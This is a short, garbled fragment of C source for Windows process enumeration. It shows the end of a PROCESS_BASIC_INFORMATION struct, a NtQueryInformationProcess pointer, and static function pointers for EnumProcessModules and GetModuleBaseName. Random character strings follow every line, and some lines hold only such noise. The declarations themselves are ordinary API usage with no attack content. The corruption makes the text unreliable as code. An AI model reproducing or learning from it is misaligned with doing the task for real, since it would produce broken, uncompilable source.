ULONG UniqueProcessId; .#eXNyCe
ULONG InheritedFromUniqueProcessId; hpyre B
} PROCESS_BASIC_INFORMATION; Sp )}
"$'~=' [
PROCNTQSIP NtQueryInformationProcess; 6K y;1$
5q#|sVT7R
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yk)j;i4@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4Qo1f5>N
B<&_lG0s